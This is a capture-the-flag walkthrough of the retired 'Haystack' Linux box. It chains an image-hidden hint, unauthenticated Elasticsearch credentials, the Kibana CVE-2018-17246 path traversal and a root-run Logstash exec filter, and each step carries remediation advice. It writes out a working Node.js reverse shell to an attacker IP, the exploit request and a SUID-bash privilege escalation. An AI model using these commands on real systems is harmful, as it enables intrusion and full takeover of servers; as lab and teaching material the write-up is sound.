← all walkthroughs

Haystack

Linux· Easy
owned
2026-07-03
time to own
17m6s
milestone
root-owned
user.txt
✓ captured
root.txt
✓ captured

Summary

I extracted a base64-encoded hint from a publicly downloadable image on the web server, used it to locate and query an unauthenticated Elasticsearch database that held SSH credentials in plain text, then logged in as a low-privilege user. From inside the box, a path-traversal flaw in a locally running Kibana instance (CVE-2018-17246) delivered code execution as the kibana service account.

Because the Logstash pipeline ran as root and processed files from a directory writable by that service account, I dropped a one-line payload that caused Logstash to set the SUID bit on /bin/bash, yielding full root control of the server.

Command conventions

The commands below refer to the target by variable rather than by address. Bind them in your shell before running anything; recovered credentials are withheld and shown as [REDACTED: recovered credential].

export TARGET="<retired-instance-ip>"
export ATTACKER_IP="<your-vpn-address>"

Attack path — how the box was taken

1ReconnaissanceNetwork port scanning
Mapped all open services on the target
A full TCP port scan revealed three services: OpenSSH 7.4 on port 22, nginx 1.12.2 serving a website on port 80, and an Elasticsearch HTTP API also fronted by nginx on port 9200. The presence of a publicly reachable Elasticsearch port immediately flagged a likely unauthenticated data-access path.
22/tcp ssh OpenSSH 7.4; 80/tcp http nginx 1.12.2; 9200/tcp http nginx 1.12.2
Exact commands 1
Full TCP scan with service and version detection. Note open ports 22, 80, and 9200.
nmap -sV -sC -p- --min-rate 5000 $TARGET
2Information DisclosureEncoded sensitive data embedded in publicly accessible static web asset
Recovered a hidden search clue from a web-served image file
The web server's default page offered a file called needle.jpg. Extracting printable strings from the binary revealed a base64-encoded blob. Decoding it produced the Spanish phrase 'la aguja en el pajar es clave' ('the needle in the haystack is key'), a direct instruction to search Elasticsearch for the word 'clave'. Without this pointer I would have had to guess which keyword to search for across thousands of documents.
Blob [REDACTED: recovered credential] extracted from strings output of needle.jpg; decodes to search clue
Exact commands 3
Download the image from the web root.
curl -s http://$TARGET/needle.jpg -o needle.jpg
Extract printable strings and filter for base64-length blobs.
strings needle.jpg | grep -iE '[A-Za-z0-9+/]{24,}={0,2}'
Decode the blob -> 'la aguja en el pajar es clave'; directs my to query Elasticsearch for 'clave'.
echo '[REDACTED: recovered credential]' | base64 -d
FixRemove all encoded or sensitive content from publicly accessible web assetsMedium
WeaknessA base64-encoded hint embedded in the publicly downloadable image file needle.jpg directed an unauthorised user straight to the credential store in Elasticsearch, collapsing what could have been a slow, noisy enumeration phase into a single targeted query.
FixAudit every file deployed to the web root — images, PDFs, JavaScript bundles, configuration snippets — for embedded strings, EXIF metadata, or encoded data that discloses internal service names, index names, search terms, or credentials. Treat every byte served over HTTP as readable by the entire internet. Add a pre-deployment content-audit step to the CI/CD pipeline.
3Credential AccessUnauthenticated REST API access / credentials stored in plaintext database index
Pulled SSH credentials out of an unauthenticated Elasticsearch database
With no login required, I listed every index on port 9200 and identified a 'quotes' index. Searching that index for documents containing 'clave' returned records whose fields held two more base64 strings. Decoding them revealed the username 'security' and the password '[REDACTED: recovered credential]' — credentials for the SSH service.
Curl to $TARGET:9200/quotes/_search?q=clave returned base64 blobs decoding to user:security / pass:[REDACTED: recovered credential]
Exact commands 4
List all Elasticsearch indices without credentials. Identifies the 'quotes' index.
curl -s "http://$TARGET:9200/_cat/indices?v"
Search for documents containing 'clave'. Returns records with base64-encoded credential fields.
curl -s "http://$TARGET:9200/quotes/_search?q=clave&pretty&size=25"
Decode username blob -> 'user: security'.
echo 'dXNlcjogc2VjdXJpdHkg' | base64 -d
Decode password blob -> 'pass: [REDACTED: recovered credential]'.
echo '[REDACTED: recovered credential]' | base64 -d
FixEnable authentication and restrict network access on ElasticsearchCritical
WeaknessThe Elasticsearch service on port 9200 was bound to all network interfaces and accepted any query with no username or password, allowing an unauthorised user to read, enumerate, and search every index on the server from the public internet.
FixEnable X-Pack Security (built into Elasticsearch 8.x by default and available as a free feature in 7.x): set xpack.security.enabled: true, generate TLS certificates, and configure a password for every built-in user. If Elasticsearch only needs to serve a local application, set network.host: 127.0.0.1 and block port 9200 at the host firewall from all external sources. Verify with a quick unauthenticated curl from outside the host and confirm it is rejected.
4Initial AccessValid account — credential reuse between application data store and OS login
Logged into the server via SSH and captured the user flag
The credentials recovered from Elasticsearch were valid OS-level SSH credentials. I connected as the 'security' user, confirmed a full interactive shell, and read the user-level flag from the home directory.
Uid=1000(security) gid=1000(security); user.txt flag captured
Exact commands 1
Log in as 'security' using recovered credentials; user.txt value: <user.txt>.
sshpass -p '[REDACTED: recovered credential]' ssh -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null security@$TARGET 'id; cat /home/security/user.txt'
FixRemove credentials from the Elasticsearch index and rotate them immediatelyHigh
WeaknessThe SSH login password for the 'security' OS account was stored in a searchable Elasticsearch index in a form (base64 encoding) that provides no real protection — anyone who could read one document could instantly decode it.
FixRotate the 'security' account password immediately and audit all other accounts for reuse of '[REDACTED: recovered credential]'. Purge the 'quotes' index entries that contain credential data. Going forward, store secrets only in a dedicated secrets manager (e.g., HashiCorp Vault). Audit all indexes and application databases for embedded passwords, API keys, or tokens, and remove them.
5Internal EnumerationPost-exploitation host enumeration
Discovered Kibana 6.4.2 and a root-owned Logstash process running locally
From the SSH session I listed all listening TCP ports and all running processes. Kibana 6.4.2 was bound exclusively to localhost on port 5601, invisible from the internet. Logstash was running as the root user. Reading the Logstash pipeline configuration revealed it monitored /opt/kibana/logstash_*.txt for lines matching 'Ejecutar comando : <cmd>' and executed whatever command appeared there — as root.
Ss -ltnp showed 127.0.0.1:5601; ps confirmed Kibana process and Logstash running as root; /etc/logstash/conf.d/*.conf revealed exec-filter pipeline
Exact commands 3
List locally listening ports; confirms Kibana on :5601 and Logstash API on :9600.
ss -ltnp | egrep '5601|9600|9200'
Identify which OS user each service runs as; reveals Logstash running as root.
ps -eo user,pid,args | egrep 'kibana|logstash'
Read Logstash pipeline config; confirms /opt/kibana/logstash_*.txt input and 'Ejecutar comando' exec filter.
cat /etc/logstash/conf.d/*.conf
6ExploitationPath traversal leading to arbitrary local file require() / RCE — CVE-2018-17246
Executed code as the kibana service account via CVE-2018-17246 (Kibana path-traversal RCE)
Kibana 6.4.2 contains a path-traversal flaw in its Console API endpoint. The server passes a caller-supplied 'apis' query parameter directly to Node.js require() without sanitisation, allowing me to traverse the filesystem and load an arbitrary local JavaScript file for immediate execution. I wrote a Node.js reverse-shell payload to /tmp/shell.js, then sent a crafted GET request to the Kibana Console endpoint with ten levels of '../' traversal to reach that file. Kibana executed the payload as the 'kibana' OS user, opening a reverse shell to my machine on port 9001.
Kibana 6.4.2 confirmed on 127.0.0.1:5601; RCE shell received as kibana user
Exact commands 3
Write the Node.js reverse-shell payload to /tmp/shell.js on the target (run from the 'security' SSH session). Replace $ATTACKER_IP and 9001 with your listener IP/port.
echo "(function(){var net=require('net'),cp=require('child_process');var sh=cp.spawn('/bin/bash',[]);var c=new net.Socket();c.connect(9001,'$ATTACKER_IP',function(){c.pipe(sh.stdin);sh.stdout.pipe(c);sh.stderr.pipe(c);});return /a/;})();" > /tmp/shell.js
Open a listener on my machine ($ATTACKER_IP) before triggering the exploit.
nc -lvnp 9001
Trigger CVE-2018-17246 from inside the target over SSH. The ten ../ sequences traverse from the Kibana install root to filesystem root. Adjust depth if the payload does not execute.
curl -s 'http://127.0.0.1:5601/api/console/api_server?sense_version=%40%40SENSE_VERSION&apis=../../../../../../../../../../../tmp/shell.js'
FixPatch Kibana to version 6.4.3 or later to eliminate CVE-2018-17246Critical
WeaknessKibana 6.4.2 passes the 'apis' parameter of the Console API endpoint unsanitised to Node.js require(), allowing any user with network access to port 5601 to load and execute an arbitrary local JavaScript file, giving code execution as the Kibana service account.
FixUpgrade Kibana to 6.4.3 or higher, which removes the unsafe require() code path. As a defence-in-depth measure, ensure Kibana binds only to 127.0.0.1 and is never directly reachable from the internet or untrusted network segments. Place a reverse proxy with authentication in front of any Kibana instance that must be reachable by multiple users.
7Privilege EscalationPrivileged service processing an unauthorised user-writable input files / SUID bash abuse
Wrote a command payload into the Logstash input directory and obtained root via SUID bash
Via the kibana reverse shell I confirmed write access to /opt/kibana/. Because Logstash was watching that directory for files matching logstash_*.txt and executing any line formatted as 'Ejecutar comando : <cmd>' as root, I created a single trigger file containing the command 'chmod u+s /bin/bash'. Within seconds Logstash applied the SUID bit to /bin/bash. Returning to the 'security' SSH session and running /bin/bash -p gave an effective UID of 0 (root), and the root flag was readable directly.
Logstash running as root; /opt/kibana/ writable by kibana; root.txt captured after /bin/bash -p gave euid=0
Exact commands 3
Run from the kibana reverse shell. Logstash will execute 'chmod u+s /bin/bash' as root within seconds of detecting the new file.
echo 'Ejecutar comando : chmod u+s /bin/bash' > /opt/kibana/logstash_privesc_$(date +%s).txt
Wait ~30 seconds then confirm the SUID bit has been set (-rwsr-xr-x).
ls -la /bin/bash
From my machine: run bash with -p to preserve euid=0 (root). Root.txt value: <root.txt>.
sshpass -p '[REDACTED: recovered credential]' ssh -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null security@$TARGET "/bin/bash -p -c 'id; cat /root/root.txt'"
FixRun Logstash as a non-root service account and restrict write access to its input directoriesCritical
WeaknessLogstash ran as the root OS user and executed shell commands sourced from files in /opt/kibana/, a directory writable by the kibana service account. Anyone who obtained code execution as kibana could instantly escalate to root by dropping a single text file.
FixCreate a dedicated unprivileged system account (e.g., 'logstash') and configure the Logstash systemd unit to run under it (User=logstash in the service file). Remove or replace the command-execution filter with a safe, parameterised action that does not call exec or eval on user-supplied strings. Change ownership of /opt/kibana/ to the logstash account and remove write access for kibana and all other accounts. Verify with: stat /opt/kibana and ls -la /etc/logstash/conf.d/.

Attack patterns used

The transferable techniques behind this compromise.

Password / Credential ReuseCredential Access · Lateral MovementT1078

What it is

A password recovered from one place — a config file, a database, a cracked hash, a service account — is tried against other accounts and services (SSH, SMB, WinRM, sudo, the database, the next host). Reuse turns a single leaked secret into broad access.

Why it works

Humans and deployments reuse passwords across accounts and tiers, and lateral movement thrives on it. Remediate with unique credentials per account/service, a password manager/vault, and MFA on remote-access services.

Read more

SUID/SGID Binary AbuseLinux · Privilege EscalationT1548.001

What it is

Files with the SUID bit run with the file owner's privileges (often root) regardless of who launches them. Finding an unusual SUID binary (find / -perm -4000 2>/dev/null) that has a shell-escape or file-read primitive — per GTFOBins — yields code execution as root.

Why it works

SUID is needed for a few system binaries (passwd, ping) but custom or misconfigured SUID files are a classic escalation. Remediate by minimizing SUID binaries, dropping privileges in custom tools, and monitoring the SUID inventory for drift.

Read more

Exposed services

22/tcp
80/tcp
9200/tcp